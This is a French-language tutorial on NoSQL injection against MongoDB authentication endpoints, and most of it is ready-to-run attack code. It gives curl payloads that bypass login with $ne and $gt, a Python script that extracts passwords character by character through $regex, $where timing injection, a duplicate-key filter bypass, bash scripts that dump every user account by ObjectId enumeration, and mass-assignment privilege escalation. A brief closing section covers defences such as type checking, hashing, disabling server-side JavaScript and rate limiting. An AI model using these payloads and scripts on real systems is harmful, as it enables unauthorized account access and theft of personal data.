Aller au contenu

Injection NoSQL : contourner l'authentification et extraire des données MongoDB

Contrairement à l’injection SQL qui manipule du texte, l’injection NoSQL exploite la structure JSON des requêtes MongoDB. Les opérateurs comme $ne, $gt, $regex ou $where sont interprétés directement par le moteur de requête si l’application passe le corps de la requête sans filtrage à l’ORM.

Opérateur Signification Usage offensif
$ne not equal Contourner une vérification d’égalité
$gt greater than Toujours vrai sur une chaîne non vide
$lt lower than Énumération par plage
$regex expression régulière Extraction caractère par caractère
$in dans une liste Tester plusieurs valeurs simultanément
$nin not in Exclure des valeurs connues
$where JavaScript arbitraire Exécution de code côté serveur
$exists champ existant Énumération de la structure du document
Fenêtre de terminal
# Connexion avec un email connu, mot de passe quelconque → toujours vrai
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": "utilisateur@exemple.fr", "password": {"$ne": "mauvais_mdp"}}' | jq

La requête MongoDB côté serveur devient :

db.users.findOne({ email: "utilisateur@exemple.fr", password: { $ne: "mauvais_mdp" } })

Tout utilisateur avec un mot de passe différent de "mauvais_mdp", soit la totalité, est retourné.

Fenêtre de terminal
# Bypass complet sans connaître email ni mot de passe
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$gt": ""}, "password": {"$gt": ""}}' | jq
# Variante avec $ne null
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$ne": null}, "password": {"$ne": null}}' | jq

Certaines applications acceptent les paramètres MongoDB dans des formulaires classiques :

username[$ne]=toto&password[$ne]=toto
login[$gt]=&password[$ne]=x
login[$regex]=a.*&pass[$ne]=x
login[$nin][]=admin&login[$nin][]=root&pass[$ne]=x

MongoDB stocke les documents avec des _id de type ObjectId, des identifiants BSON de 24 caractères hexadécimaux, ordonnés chronologiquement. Les opérateurs $gt et $lt permettent de paginer l’ensemble des utilisateurs.

Fenêtre de terminal
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"_id": {"$gt": "000000000000000000000000"}, "password": {"$ne": null}}' | jq
#!/bin/bash
LAST_ID="000000000000000000000000"
OUTPUT="ids.csv"
while true; do
RESPONSE=$(curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | grep -oE '[0-9a-f]{24}' | head -1)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then
echo "Fin de l'énumération."
break
fi
echo "$ID" >> "$OUTPUT"
echo "Trouvé : $ID"
LAST_ID="$ID"
done
Fenêtre de terminal
# Récupérer les comptes créés entre deux ObjectId (donc entre deux dates)
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"_id": {"$gt": "5c000000000000000000000", "$lt": "5d000000000000000000000"}, "password": {"$ne": null}}' | jq

Les 4 premiers octets d’un ObjectId encodent un timestamp Unix. Deux ObjectId suffisent à délimiter une fenêtre temporelle.

$regex permet de tester si un champ correspond à un motif. En testant caractère par caractère depuis le début de la chaîne (^), on extrait la valeur complète.

Fenêtre de terminal
# Le champ password fait-il 8 caractères ?
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$eq": "utilisateur@exemple.fr"}, "password": {"$regex": "^.{8}$"}}' | jq

Extraire le mot de passe caractère par caractère

Section intitulée « Extraire le mot de passe caractère par caractère »
Fenêtre de terminal
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d "{\"email\": {\"$eq\": \"utilisateur@exemple.fr\"}, \"password\": {\"\$regex\": \"^$c\"}}")
if [[ "$CODE" == "200" ]]; then
echo "Premier caractère trouvé : $c"
fi
done
import requests
import string
USERNAME = "utilisateur@exemple.fr"
URL = "https://api.exemple.fr/user/signin"
HEADERS = {"Content-Type": "application/json"}
password = ""
while True:
found = False
for c in string.printable:
if c in ['*', '+', '.', '?', '|', '\\']:
continue
payload = {
"email": {"$eq": USERNAME},
"password": {"$regex": f"^{password}{c}"}
}
r = requests.post(URL, json=payload, headers=HEADERS)
if r.status_code == 200 and "token" in r.text:
password += c
print(f"[+] Caractère trouvé : {c} → mot de passe en cours : {password}")
found = True
break
if not found:
print(f"[*] Mot de passe complet : {password}")
break
Fenêtre de terminal
# Tester si l'un de ces emails existe et a un mot de passe non nul
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"email": {"$in": ["admin@exemple.fr", "root@exemple.fr", "superuser@exemple.fr"]}, "password": {"$ne": null}}' | jq

$where permet d’exécuter du JavaScript arbitraire dans le contexte du document évalué. Désactivé par défaut dans les versions récentes de MongoDB, il reste actif sur des configurations héritées.

Fenêtre de terminal
# Toujours vrai
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"$where": "1 == 1", "password": {"$ne": null}}' | jq
# Injection temporelle pour confirmer l'exécution (blind)
curl -s -X POST "https://api.exemple.fr/user/signin" \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || true", "password": {"$ne": null}}' | jq

Un délai de 5 secondes confirme l’exécution de JavaScript côté serveur.

MongoDB ne conserve que la dernière occurrence d’une clé dupliquée. Si le filtre de l’application supprime $ne mais que le JSON contient deux fois la clé :

{"password": "filtre_supprime_ceci", "password": {"$ne": null}}

L’application voit la première valeur (filtrée), MongoDB lit la seconde.

Fenêtre de terminal
# Encodé en URL
username[$ne]=x&password[$ne]=x
# Avec caractères Unicode
{"email": {"$ne": null}}
#!/bin/bash
# Extraction de tous les utilisateurs accessibles via l'endpoint signin
API="https://api.exemple.fr/user/signin"
OUTPUT="dump.csv"
LAST_ID="000000000000000000000000"
echo "id,email,firstName,lastName" > "$OUTPUT"
while true; do
RESPONSE=$(curl -s -X POST "$API" \
-H "Content-Type: application/json" \
-d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('_id',''))" 2>/dev/null)
EMAIL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('email',''))" 2>/dev/null)
FNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('firstName',''))" 2>/dev/null)
LNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('lastName',''))" 2>/dev/null)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then
echo "Terminé. $(wc -l < $OUTPUT) entrées extraites."
break
fi
echo "$ID,$EMAIL,$FNAME,$LNAME" >> "$OUTPUT"
echo "[+] $EMAIL"
LAST_ID="$ID"
done

Élévation de droits via mass assignment sur l’endpoint de mise à jour

Section intitulée « Élévation de droits via mass assignment sur l’endpoint de mise à jour »

Quand l’API expose un endpoint de mise à jour de profil qui passe directement le corps JSON à l’ORM, il est possible d’écraser des champs privilégiés :

Fenêtre de terminal
# Passer super:true et profile:admin dans la mise à jour
curl -s -X POST "https://api.exemple.fr/user/update" \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{
"firstName": "Nom",
"email": "utilisateur@exemple.fr",
"profile": "admin",
"super": true
}' | jq

Combiner avec le bypass NoSQL pour obtenir un token valide, puis exploiter l’endpoint d’update pour élever les droits.

// Mongoose, refuser les objets là où une chaîne est attendue
const loginSchema = new mongoose.Schema({
email: { type: String, required: true },
password: { type: String, required: true }
});
// Valider avant d'interroger la base
if (typeof req.body.email !== 'string' || typeof req.body.password !== 'string') {
return res.status(400).json({ error: 'Format invalide' });
}
// Vulnérable, l'objet utilisateur transit directement dans la requête
const user = await User.findOne({ email: req.body.email, password: req.body.password });
// Correct, extraction explicite et vérification du type
const { email, password } = req.body;
if (typeof email !== 'string' || typeof password !== 'string') {
throw new Error('Type invalide');
}
const user = await User.findOne({ email }).select('+password');
const valid = await bcrypt.compare(password, user.password);

Dans mongod.conf :

security:
javascriptEnabled: false

$where et mapReduce ne sont plus exécutables, la surface d’attaque JavaScript côté serveur disparaît.

Limiter le taux de requêtes sur les endpoints d’authentification

Section intitulée « Limiter le taux de requêtes sur les endpoints d’authentification »

Un dump par énumération d’ObjectId envoie des centaines de requêtes. Un rate limiting strict détecte et bloque ce pattern :

// Express, rate limiting sur /user/signin
const rateLimit = require('express-rate-limit');
app.use('/user/signin', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 20,
message: { error: 'Trop de tentatives' }
}));

L’injection NoSQL ne manipule pas du texte mais de la structure. Un corps JSON passé directement à findOne() ou find() sans vérification de type transforme n’importe quel champ en opérateur de requête. La défense repose sur deux points : vérifier que les valeurs reçues ont le type attendu (string, number, pas object), et ne jamais stocker de mots de passe en clair pour que $regex sur ce champ ne retourne rien d’exploitable.